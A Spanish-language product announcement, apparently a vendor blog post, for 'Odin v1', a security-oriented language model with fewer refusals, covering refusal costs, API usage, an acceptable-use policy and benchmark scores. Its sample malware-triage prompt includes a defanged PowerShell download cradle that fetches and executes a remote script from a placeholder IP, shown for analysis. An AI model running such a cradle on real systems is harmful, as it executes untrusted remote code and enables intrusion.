IA para ciberseguridad con menos rechazos: presentamos Odin v1

Si usas un modelo de IA convencional para trabajo de seguridad, ya conoces el patrón. Pegas un loader desofuscado, preguntas qué hace y el modelo te contesta que no puede ayudarte con malware. Odin v1 es un modelo de lenguaje de InterOdin pensado para responder directamente a preguntas legítimas de seguridad, con muchos menos rechazos. En este artículo te explicamos por qué se producen esos rechazos, lo que cuestan, cómo se comporta Odin v1 en su lugar, dónde están sus límites y qué resultados obtiene en benchmarks públicos.

Por qué los modelos convencionales rechazan trabajo de seguridad legítimo

Los asistentes de uso general están ajustados para evitar daños ante un público muy amplio. No pueden verificar quién pregunta, así que a menudo reaccionan a rasgos superficiales del prompt: palabras como "exploit", "payload", "shellcode", "ransomware" o "C2". El resultado es que gran parte del trabajo defensivo normal le parece arriesgado al modelo.

Ejemplos habituales:

• Triage de malware. Un analista pega un dropper ofuscado en PowerShell o JavaScript procedente de un incidente y pide el comportamiento decodificado. El modelo se niega, o explica el concepto de ofuscación sin decodificar nada.
• Análisis de exploits de CVE parcheados. Un detection engineer pregunta cómo funciona una vulnerabilidad pública y ya parcheada para poder escribir una regla que detecte los intentos de explotación. El modelo responde que no puede ayudar con exploits.
• Informes de red team. Un pentester en un encargo autorizado pide ayuda para redactar la ruta de ataque para el cliente. El modelo trata la descripción de esa ruta como una petición de instrucciones de ataque.
• Contenido de detección. Escribir una regla YARA o Sigma implica describir cómo es la actividad maliciosa. Algunos modelos se resisten ante las cadenas y líneas de comandos que la regla tiene que detectar.

Ninguna de estas tareas da una capacidad nueva a un atacante. La muestra ya existe, el CVE está parcheado y es público, y el encargo está dentro del alcance. El rechazo no protege a nadie.

Lo que los rechazos les cuestan a los investigadores

Es fácil subestimar el coste porque se reparte en muchos momentos pequeños.

• Tiempo. La gente reformula, añade preámbulos del tipo "soy investigador de seguridad" o divide una pregunta en cinco trozos de aspecto inofensivo. Es tiempo que no dedicas al incidente.
• Calidad. Las respuestas parciales son peores que los rechazos. Un modelo que se salta en silencio la única etapa de un dropper que considera delicada te da un resumen del comportamiento con un agujero en medio, y puede que no te des cuenta.
• Automatización. No puedes construir un pipeline fiable sobre un modelo que rechaza una de cada diez llamadas. La extracción de IOC por lotes, la redacción de informes y el triage de logs necesitan respuestas consistentes.
• Gestión de datos. Cuando la herramienta aprobada se niega, la gente pega datos del incidente en cualquier herramienta que responda. Eso es peor para todos.

Cómo se comporta Odin v1

Odin v1 trata el contexto de seguridad como contexto profesional normal. Pídele que decodifique una muestra, que explique un bug parcheado o que redacte un hallazgo, y hace el trabajo; después te dice en qué no está seguro.

Aquí tienes un prompt de triage realista. La muestra es sintética y está neutralizada (defanged):

System: You are assisting a malware analyst. Samples come from our ownincident and are handled in an isolated analysis VM. Never suggestrunning anything on a host machine.
User: This PowerShell came from a phishing attachment. Decode it, explaineach stage, list IOCs as JSON, and map the behavior to MITRE ATT&CK.
powershell.exe -nop -w hidden -enc <base64 blob from the sample>Decoded first stage (by me):IEX (New-Object Net.WebClient).DownloadString('hxxp://203.0.113[.]15/a.ps1')

Qué puedes esperar de vuelta: una explicación etapa por etapa (ventana oculta, comando codificado, un download cradle en memoria que ejecuta una segunda etapa sin escribirla en disco), un bloque JSON con la URL y la IP neutralizadas como IOC, mapeos de ATT&CK como T1059.001 (PowerShell), T1027 (archivos o información ofuscados) y T1105 (transferencia de herramientas de entrada), y sugerencias sobre qué buscar a continuación, por ejemplo eventos de script block logging. También te señalará lo que no puede ver, como el contenido de a.ps1, en lugar de inventárselo. El flujo de trabajo completo está en Análisis de malware con Odin.

La misma petición a través de la API, con el SDK oficial de OpenAI:

from openai import OpenAIimport os
client = OpenAI(    base_url="https://api.interodin.com/v1",    api_key=os.environ["INTERODIN_API_KEY"],)
sample = open("stage1_decoded.txt", encoding="utf-8").read()
resp = client.chat.completions.create(    model="odin-v1",    messages=[        {            "role": "system",            "content": "You assist a malware analyst. Samples are handled in an "                       "isolated VM. Return IOCs as JSON with defanged URLs.",        },        {            "role": "user",            "content": "Explain each stage, list IOCs as JSON, map to ATT&CK:\n\n" + sample,        },    ],)print(resp.choices[0].message.content)

Algunos detalles prácticos:

• Dos modelos. odin-v1 es el más capaz, con una ventana de contexto de 1.000.000 tokens y el razonamiento (thinking) activado por defecto. Úsalo para análisis en profundidad, salidas largas de un decompilador o un conjunto completo de notas de un encargo. odin-flash es más rápido y más barato, con un contexto de 262.144 tokens, y encaja en trabajos masivos como la extracción de IOC.
• APIs compatibles. La URL base es https://api.interodin.com/v1. Habla las APIs Chat Completions y Responses de OpenAI y la API Messages de Anthropic, así que las herramientas y SDK que ya usas funcionan cambiando la URL base y la clave.
• Solo texto. No se aceptan imágenes ni PDF como entrada. Pega el texto de un informe o las cadenas de un binario.
• Privacidad. Los prompts y las respuestas de la API nunca se almacenan. Solo se guardan metadatos como el número de tokens, la latencia y el estado, para la facturación. Los servidores están en Alemania.

Odin v1 también es útil en la parte de redacción del trabajo, desde los hallazgos para el cliente hasta las reglas de detección: consulta Redacción de informes de pentest con IA.

Dónde están los límites

Menos rechazos no significa ausencia de reglas. InterOdin tiene una Política de Uso Aceptable que prohíbe:

• crear o distribuir malware
• acceder a sistemas, cuentas o datos sin permiso
• fraude y phishing
• armas químicas, biológicas, radiológicas y nucleares
• material de abuso sexual infantil
• terrorismo
• acoso y doxxing
• spam y desinformación

En la práctica, la línea separa entender de hacer daño. Analizar una muestra que has encontrado está bien; crear una nueva, no. Explicar un CVE parcheado para poder detectarlo está bien; usarlo contra un sistema que no es tuyo, no. Redactar una ruta de ataque para un cliente está bien cuando el cliente te ha dado permiso por escrito y el trabajo está dentro del alcance y las reglas de enfrentamiento acordadas.

Si estás practicando, usa un laboratorio, un CTF o una plataforma creada para ello. Guarda constancia de tu autorización en el trabajo con clientes. Odin v1 responde directamente, pero la responsabilidad sobre el alcance sigue siendo tuya.

Benchmarks

El gráfico compara Odin v1 con otros modelos punteros en cuatro benchmarks relevantes para seguridad y trabajo con agentes. Más alto es mejor.

Cómo leerlo:

• CyberGym mide el descubrimiento de vulnerabilidades en 1507 tareas. Odin v1 obtiene la puntuación más alta, 84,5, por delante de Claude Fable 5 (83,8) y GPT-5.6 Sol (83,6). Es el benchmark más cercano al trabajo del que trata este artículo.
• Terminal-Bench 2.1 evalúa el trabajo agéntico en una terminal. Odin v1 obtiene 88,2, a menos de un punto del líder, GPT-5.6 Sol con 88,8. Los cinco primeros modelos están separados por menos de un punto.
• Humanity's Last Exam with tools es una prueba exigente de razonamiento general. Odin v1 queda tercero con 62,5, detrás de GPT-5.6 Sol (64,5) y Claude Fable 5 (63,9).
• Toolathlon Verified mide flujos de trabajo largos con varias herramientas. Odin v1 queda tercero con 75,3, justo detrás de Kimi K3 (76,5) y Claude Opus 4.8 (76,2).

En resumen: Odin v1 lidera en descubrimiento de vulnerabilidades orientado a seguridad y se mantiene a un par de puntos de los mejores en tareas de terminal, razonamiento y uso de herramientas.

Los benchmarks son un punto de partida. La mejor prueba es tu propio trabajo: toma una muestra o un conjunto de notas que ya conozcas bien y compara la respuesta.

Siguientes pasos

• Análisis de malware con Odin: desofuscación, extracción de IOC y mapeo a ATT&CK de un script sospechoso.
• Redacción de informes de pentest con IA: de las notas en bruto a un hallazgo listo para el cliente.
• Claude Code para herramientas de seguridad: crea parsers y entornos de prueba con Claude Code sobre los modelos Odin.

Empieza ya

Crea una clave de API en la consola y sigue la guía de inicio rápido para hacer tu primera petición. Los créditos son prepago y sin suscripción; consulta los precios. Mantén tu trabajo dentro del alcance y de la Política de Uso Aceptable.